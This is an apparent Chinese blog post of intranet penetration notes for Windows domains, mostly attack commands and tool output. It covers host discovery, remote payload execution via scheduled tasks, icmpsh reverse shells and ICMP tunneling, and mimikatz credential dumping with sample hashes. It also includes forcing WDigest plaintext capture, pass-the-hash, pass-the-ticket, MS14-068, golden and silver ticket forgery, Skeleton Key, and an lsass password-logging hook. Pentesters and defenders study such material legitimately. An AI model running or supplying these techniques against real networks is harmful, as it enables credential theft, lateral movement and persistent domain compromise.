内网渗透备忘录

内网主机存存活探测

利用ICMP协议探测内网

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I |findstr "TTL="

利用域来查询内网存活主机

net view /domain:域名

内网横向相关系统命令记录

IPC

建立IPC$连接

net use \\192.168.100.100\ipc$ "1234556" /user:administrator

查看当前连接

net use

列出远程主机文件

dir \\192.168.100.100\c$

列出目标机器上运行的进程

tasklist -S 192.168.100.100 /U administrator /P 12345

tasklist -S 192.168.100.100#交互模式

利用计划任务执行payload

>>>net time \\192.168.100.100 #查看远程主机的系统时间
>>>copy calc.bat \\192.168.100.100\C$ #拷贝文件到目标服务器C盘
>>>at \\192.168.100.100 4:11PM C:\calc.bat #at在老版本系统才有
>>>at \\192.168.100.100 任务ID /delete
>>> schtasks /create /s 192.168.100.100 /tn test /sc onstart /tr c:\calc.bat /ru system /f#在远程主机上创建一个名称为”test"的计划任务,启动权限为system,在开机的时候启动
>>>schtasks /create /tn test /tr c:\calc.bat /sc once /st 20:00:00 /sd 2021/04/27

内网渗透相关工具记录

icmpsh

icmpsh工具使用简单,服务端的run.sh脚本需要改点代码,但是最方便还是直接使用icmp.py 本机ip 目的ip这样用,目标主机上的icmpsh不需要管理员执行,无法解决乱码,icmp包大小不一,明文显示.icmpsh工具可以作为shell反弹使用

服务端

>>>sysctl -w net.ipv4.icmp_echo_ignore_all=1
>>> ./run.sh或者imcp.py src_ip dst_ip

客户端

icmpsh.exe -t 服务端Ip -d 500 -b 30 -s 128

PingTunnel

这个工具好处就是可以做端口转发,为连接设置密码,将其他端口的流量通过ICMP隧道转发出来,存在一定的使用限制

服务端安装

>>>tar xf PingTunnel-0.72.tar.gz
>>>cd PingTunnel &&make &&make intall #可能需要安装libpcap和byacc依赖

跳板机开启隧道

>>>ptunnel -x mima(-x 后面是密码)

客户端IP访问跳板机IP并设置转发给目标IP及端口

>>>ptunnel -p 跳板机IP -lp 1080 -da 目标IP -dp 3389 -x mima # 客户端上面执行此命令,通过客户端1080端口的流量都会被转发给跳板机IP(跳板机不需要设置监听端口,原里就是这一层用的是icmp协议)并且被跳板机转发给目标机器的3389
  • -x:指定ICMP隧道连接的验证密码
  • -lp:指定要监听的本地端口
  • -da:指定要转发的目标机器的IP地址
  • -dp:指定要转发的目标机器的TCP端口
  • -p:指定icmp隧道另一端的跳板机的IP地址

mimikatz的使用

该工具能内存中提取明文密码(低版本系统)、散列值、PIN、kerberos票据

基本用法

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

其他用法:

1.使用mimikatz读取离机的SAM和system文件,从目标系统中导出system.hive和sam.hive文件放在和mimikatz同目录下,运行mimikatz,输入命令如下命令:lsadump::sam /sam:sam.hive /system:system.hive

2.使用mimikat直接读取本地的SAM

>>>mimikatz
mimikataz# privilege::debug#提升权限
mimikataz# token::elevate #将权限提升至system
mimikataz# lsadump::sam #读取本地SAM ,获得NTLM hash

微软为了防止用户密码被这样的明文抓取,发布了补丁:KB2871997,关闭wdigest功能,因此对于2012及以上的系统使用mimikatz要打开wdigest,2012以下的系统,也要提前判断KB2871997这个补丁是否安装

REG开启wdigest Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDIGEST /v UseLoginCredential /t REG_DWORD /d 1 /f

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDIGEST /v UseLoginCredential /t REG_DWORD /d 0 /f

使用powershell开启wdigest

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLoginCredential -Type DWORD -Value 1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLoginCredential -Type DWORD -Value 0 #使用powershell关闭wdigest

哈希传递攻击

使用散列值传递进行攻击,简单点说就是有A,B两个机器,我们拿到了A机器的NTLMhash值,现在要做的就是把它导入到B机器,让B机器有用直接远程ipc远程A机器的能力,当然这个情况有一个悖论,就是我既然能拿到A的NTLMHash,我肯定已经拿到A的系统权限了,不过此法应该是可用于域账号哈希传递攻击

假设A机器 IP:192.168.100.205

域名 :pentest.com

用户名 :administrator

NTLM Hash: 683020925C5D8569C23AA724774CE6CC

mimikatz# privilege::debug
mimikatz# sekurlsa::pth /user:adminstrator /domain:pentest.com /ntlm: 683020925C5D8569C23AA724774CE6CC

传说(没测试)对待打了KB2871997补丁的机器可以使用AES-256的密钥传递方式进行横向移动,因为打了这个补丁会强制aes-256密钥

1.目标机器获取AES-256密钥

mimikatz "privilege::debug" "sekurlsa::ekeys"

2.在远程目标机器的机器上,以管理员运行mimikatz

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /aes256:3242342342342346526... "

票据传递攻击

和哈希不同,就是利用mimikagtz导出票据,优点是不需要像哈希传递一样,需要本地管理员权限

目标机器执行如下命令拿到票据:

mimikatz "privilege::debug" "sekurlsa::tickets /export"

执行上述命令会在当前目录下多次很多个服务的票据文件,例如krbtgt、cifs、ldap.在客户机使用mimikatz清除内存的票据,防止干扰:

mimikatz# kerberos::purge

导入票据(实际测试导入成功,但是权限并没有拿到,还不知道为啥)

mimikatz# kerberos::ptt 票据路径

MS14-068横向渗透

普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限,实际渗透过程中,这种方式应该更靠谱一点。利用已有的普通的域账号伪造一个高权限的域账号票据利用mimikatz导入

ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件   //将票据注入到内存中

黄金票据权限维持

黄金票据权限较大,属于权限维持的一种手段,前提条件是拿到了krbtg的哈希

限制条件

  • 需要知道一个域管理员用户名
  • 需要知道完整的域名
  • 域SID
  • krbtgt的NTLM hash或AES-256值

假设我们拿到了SID 502的krbtgt,A机器为域控服务器,B机器为一台拿到管理员权限的普通客户机。具体操作流程如下:

1.A机器导出域控的krbtgt 哈希或者AES

mimikatz# lsadump::dcsync /domain:hacker.test /user:krbtgt #拷贝下来哈希和AES
>>>wmic useraccount get name,sid #获取域控SID和账户SID
>>>net group "domain admins" /domain #获取域管理员账号

2.B客户机器操作(需要管理员权限才能成功导入票据),实测需要当前进程保持,打开新的cmd并不会拿到权限,必须是当前的cmd的进程才被传递权限

mimikatz# kerberos::purge #清理B机器的当前票据
mimikatz# kerberos::golden /admin:Administrator /domain:hacker.test /sid:S-1-5-21-934037391-3465476985-1915952909 /krbtgt:38eb3973d3f88ee8509beeddd48124dd /ticket:administrator.kiribi #生成黄金票据,实测需要高权限才行
mimikatz# kerberos:ptt administrator.kiribi #票据注入内存
mimikatz# kerberos::tgt #检索会话中的票据,判断是否导入成功
>>> dir \\dc\c$ #测试下是否拿到权限

mimikatz# kerberos::golden /admin:Administrator /domain:hacker.test /sid:S-1-5-21-934037391-3465476985-1915952909 /aes256:38eb3973d3f88ee8509beeddd48123555435654543544124dd /ticket:administrator.kiribi #使用AES导入

白银票据权限维持

白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加
隐蔽。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:

1.域名,域SID
2.目标服务器的FQDN
3.可利用的服务
4.该服务的账号的NTLM Hash
5.要伪造的用户名

案例:使用白银票据伪造CIFS服务权限,CIFS服务通常用于主机之间的文件共享

1.登录域控,抓取$账户的hash值,注意不是administrator

mimikatz# privilege::debug
sekurlsa::logonpasswords
找到$的ntlm值

2.切换到普通用户机器,使用mimikatz生成伪造的白银票据:

kerberos::golden /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO.com /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt

/sid:域的SID值
/rc4:server机器DC$的hash
/service:可利用的服务,这里是cifs
/user:要伪造的用户名,任意填写
/target:域控制器名,即FQDN(全称)

案例:使用白银票据伪造LDAP服务权限,利用伪造权限获取krbtgt的哈希,进而使用黄金票据

1.登录域控,判断当前权限能否获取krbtgt的hash

mimikatz# lsadump::dcsync /dc:dc.hacker.test /domain:hacker.test /user:krbtgt #权限不够的话会失败,这时就需要伪造白银票据,注意只有LDAP服务才能使用dc命令

2.域控服务器找到DC$的NTLM hash

mimikatz# log "privilege::debug" "sekurlsa::logonpasswords" #log参与方便复制hash
mimikatz# kerberos::purge #清空系统内的票据
mimikatz# kerberos::golden /domain:hacker.test /sid:S-1-5-21-934037391-3465476985-1915952909 /target:dc.hacker.test /service:LDAP /rc4:f0954d00b21d338aa86051eca90f7f74 /user:suibian /ptt #伪造一个白银票据,rc4为域控dc$账户的hash,伪造用户名随意
mimikatz# lsadump::dcsync /dc:dc.hacker.test /domain:hacker.test /user:krbtgt #重新尝试获取krbtgt的hash,实验顺利,可有权限获取

Skeleton Key(万能密码)

利用mimikatz自带的万能密码对域内权限进行持久化操作,目前测试需要管理员权限,64位系统,重启失效。

mimikatz# privilege::debug
mimikatz# misc::skeleton #返回显示KDC和RC4 OK即表示完成注入key,默认密码mimikatz

客户机操作如下命令,只能使用域名,用户名要带上域

nete use \\dc\ipc$ "mimikatz" /user:hacker\administrator

Hook PasswordChangeNotify

使用hoopasswordchange.dll做LSA的passwordFileter函数钩子,将明文密码保存至C:\Windows\Temp\passwords.txt

如下例子使用了powerspolit下的工具

>>>set-ExecutionPolicy bypass
>>>import-module .\Invoke-ReflectivePEInjection.ps1
>>>Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass#dll文件为另外一个作者写的,使用的时候需要手动上传
>>>cat c:\Windows\Temp\password.txt
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

莫慌搞安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值